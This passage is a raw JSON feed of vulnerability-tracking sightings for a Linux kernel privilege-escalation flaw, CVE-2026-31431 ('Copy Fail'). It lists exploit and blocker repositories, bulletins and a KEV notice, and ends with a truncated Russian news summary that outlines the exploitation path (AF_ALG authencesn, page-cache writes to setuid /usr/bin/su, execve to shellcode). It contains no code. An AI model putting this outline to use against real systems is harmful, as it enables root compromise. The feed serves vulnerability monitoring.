#CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-deconstructed\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a bootsareme\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 18:59:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEasy-to-understand version of CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T19:00:04.000000Z"}, {"uuid": "f200293b-adee-462e-b065-72951f62f9e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31480", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:35:58.799434Z"}, {"uuid": "e8222383-4a29-403a-9f03-2e9cb06b2cf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31447", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:37:42.008218Z"}, {"uuid": "eac8fa66-e71d-4d52-a60d-03f2ef436e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82385", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a block-copyfail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a atgreen\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Common Lisp\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 23:58:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nBPF LSM blocker for CVE-2026-31431 (Copy Fail) \u2014 blocks authencesn AF_ALG binds at runtime without rebooting\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T00:00:04.000000Z"}, {"uuid": "5003280b-5beb-44b8-8ab6-139c8c6b4f1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/82504", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Gr-1m\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 15:54:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopyfail (CVE-2026-31431) exp rewrite by Golang\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T16:00:04.000000Z"}, {"uuid": "9516581a-be33-46dd-b6a7-1de1905e828e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/gabywald.bsky.social/post/3ml3qvmebu22r", "content": "\"Copy Fail (CVE-2026-31431) : Synth\u00e8se technique sur cette faille Linux\"\n\n#Faille #Linux #CopyFail #Explications #Correctifs ... \n\nwww.linuxtricks.fr/news/10-logi...", "creation_timestamp": "2026-05-05T08:20:10.711124Z"}, {"uuid": "9c75d540-4bdb-46d7-bd73-3b9557dfc55e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/ctinow/249657", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\nhttps://ift.tt/tRdwIxP", "creation_timestamp": "2026-05-03T06:54:28.000000Z"}, {"uuid": "d1ad4413-08de-4c2e-9354-32ded7911b46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mkymuhf3uq2z", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 481 interactions\nCVE-2026-41940: 74 interactions\nCVE-2026-3854: 57 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 26 interactions\nCVE-2026-41940: 6 interactions\nCVE-2026-5404: 4 interactions\n", "creation_timestamp": "2026-05-04T02:29:57.308285Z"}, {"uuid": "938e4195-244c-44c6-9ed1-e726e74ed076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82582", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a attaattaatta\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 05:59:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 golang hotfix\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T06:00:04.000000Z"}, {"uuid": "017a5007-f9a8-4df3-bce2-032f677749d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://thehackernews.com/2026/05/cisa-adds-actively-exploited-linux-root.html", "content": "", "creation_timestamp": "2026-05-03T04:26:00.000000Z"}, {"uuid": "0af7439c-0e8d-4462-9db0-553362622501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82473", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfailRecurrence\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 2H-K\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 10:54:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail (CVE-2026-31431) \u5185\u6838\u6f0f\u6d1e\u590d\u73b0\u73af\u5883\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T11:00:04.000000Z"}, {"uuid": "921d3b60-3ec0-411b-8927-f81f873ed047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31494", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:37:51.190725Z"}, {"uuid": "4ad53413-b3eb-4304-b655-1815202c703a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/thehackernews/8904", "content": "\u26a0\ufe0f A new #Linux flaw mirrors Dirty Pipe\u2014but adds cross-container impact.\n\n\u201cCopy Fail\u201d (CVE-2026-31431) lets any local user overwrite cached system files and run them as root. No race condition.\n\nWorks across major Linux distros since 2017.\n\n\ud83d\udd17 Read \u2192 https://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html", "creation_timestamp": "2026-04-30T09:55:15.000000Z"}, {"uuid": "d5a05a85-6227-4d15-a758-2deecc680ebf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31495", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:37:53.508234Z"}, {"uuid": "03a5938d-0d0c-41d9-9f7f-328ddb074a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/DgINMEwO-LQCHpIR5171X13X7Q7hKGhih-uOGzbTljCnFG0", "content": "", "creation_timestamp": "2026-05-01T03:00:14.000000Z"}, {"uuid": "936b295f-c66b-47b7-ad5a-05cd573ce728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/evdmPyDv_38pRllzy8Ta91lWQAIqoLwW5wEChicmrjO_C0k", "content": "", "creation_timestamp": "2026-05-01T07:00:13.000000Z"}, {"uuid": "87ad578d-015c-4c7c-b34d-a8e09faef9ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/rYfhm_004exykZ8do5dalE7YB53CRVnjuhduYoE7gKkXMgc", "content": "", "creation_timestamp": "2026-05-01T09:00:04.000000Z"}, {"uuid": "69eb9c84-03d3-4065-ac50-deeb25c0e3e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3143", "type": "seen", "source": "Telegram/P45NJHmymloXtZI_QDhqedqg_rJijkJmCthR1UJzeSteIHM", "content": "", "creation_timestamp": "2026-04-30T23:00:10.000000Z"}, {"uuid": "3a9778bb-c5e3-44b1-8458-ea67c1a750d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/P45NJHmymloXtZI_QDhqedqg_rJijkJmCthR1UJzeSteIHM", "content": "", "creation_timestamp": "2026-04-30T23:00:10.000000Z"}, {"uuid": "5d1f76d1-95cc-4bea-829a-fae2e663a797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/k5OTU-9lUzFKUTq8zqq2Ea-jY-aJMqpZsl5nZtaT5jx_Wu8", "content": "", "creation_timestamp": "2026-04-30T15:00:27.000000Z"}, {"uuid": "a8f78905-a412-4614-9f43-6c68c4d8dcf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31455", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:38:20.293102Z"}, {"uuid": "4bbbf6b1-fcab-4720-b070-a8fd0480fbff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/ilj7-w0C4NWXTAZYwiTR68v2Cg46brLVMoWECZr8IZK8Y9I", "content": "", "creation_timestamp": "2026-04-30T19:00:12.000000Z"}, {"uuid": "eb7831bd-4650-4e3a-ae15-c18660424314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/yjUnQ6hKYXBxzaCr4Cr42UE0MHqi1VzU3UchLcz_NxtZwAY", "content": "", "creation_timestamp": "2026-04-30T09:00:04.000000Z"}, {"uuid": "6f10cab0-ca90-4e7b-908d-4f1e1c6796dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/ffbBuRmdSYe3lYPKfhQOupnrAX2e3gYPd5TMJ-uBERknFqY", "content": "", "creation_timestamp": "2026-04-30T11:00:14.000000Z"}, {"uuid": "a80de7b2-02c4-4be5-b658-17dbd67e7477", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/3tKSA63ykFsNCx7Ci_YM-GlAoFttSrYjQJCM_fsQcGoJpDo", "content": "", "creation_timestamp": "2026-04-30T15:00:06.000000Z"}, {"uuid": "c01f26ad-5045-4f58-9df7-54e3d06deb56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31498", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:39:05.637255Z"}, {"uuid": "c303c5e6-b325-414b-a2fa-c58ada89e981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31507", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:39:43.616887Z"}, {"uuid": "45faedad-ff0e-4e40-a3de-ec4b62bf253b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31473", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:40:48.531185Z"}, {"uuid": "9cac66a0-3dc7-4986-83ab-44dd3b4ed3ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82432", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a xd20111\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 05:57:47\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431  Copy Fail - Local Privilege Escalation in the Linux kernel's authencesn cryptographic template via AF_ALG + splice()\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T06:00:03.000000Z"}, {"uuid": "feb3f3ce-0015-4fb4-b23f-74f8c2678219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/P5bUU6aFVi3_TImC6WDx24HeHf8RVUggO7fw0-2Q4WCtYm0", "content": "", "creation_timestamp": "2026-04-30T07:00:11.000000Z"}, {"uuid": "6d1025ae-2a26-44f3-b1a6-799398beb450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31509", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:40:53.454850Z"}, {"uuid": "f79d5d87-409f-43c3-9571-5ab26165e96d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31510", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:40:55.951729Z"}, {"uuid": "b3f63efb-faa5-42d5-b5f1-0f41c1eb63f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/true_secator/8160", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 LPE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\n\u041e\u043d\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-31431 (CVSS: 7,8 \u0438 \u0431\u044b\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0430 Xint.io \u0438 Theori - Copy Fail. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0431\u0430\u0439\u0442\u0430 \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root.\n\n\u0424\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430 Linux, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 algif_aead. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043e\u0442 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 2017 \u0433\u043e\u0434\u0430.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u043e\u043c\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u0443 \u043d\u0430 Python \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 732 \u0431\u0430\u0439\u0442\u0430 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0444\u043b\u0430\u0433\u043e\u043c setuid \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u043e \u0432\u0441\u0435\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 Linux, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u0441 2017 \u0433\u043e\u0434\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Amazon Linux, RHEL, SUSE \u0438 Ubuntu. \n\n\u0421\u0430\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430 Python \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u043a\u0435\u0442 AF_ALG \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 authencesn(hmac(sha256),cbc(aes)) \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043a\u044d\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043f\u0438\u0438 \u044f\u0434\u0440\u0430 /usr/bin/su \u0438 \u0432\u044b\u0437\u043e\u0432\u0430 execve(\"/usr/bin/su\") \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0435\u0433\u043e \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0430\u0432\u0430, \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0444\u043b\u0430\u0433\u043e\u043c setuid.\n\n\u042d\u0442\u0430 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0432 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445  \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f (Amazon Linux, Debian, Red Hat Enterprise Linux, SUSE \u0438 Ubuntu)\n\n\u041f\u0440\u0438\u043c\u0435\u0447\u0441\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e Copy Fail \u043f\u0435\u0440\u0435\u043a\u043b\u0438\u043a\u0430\u0435\u0442\u0441\u044f \u0441 Dirty Pipe (CVE-2022-0847), \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e LPE \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f 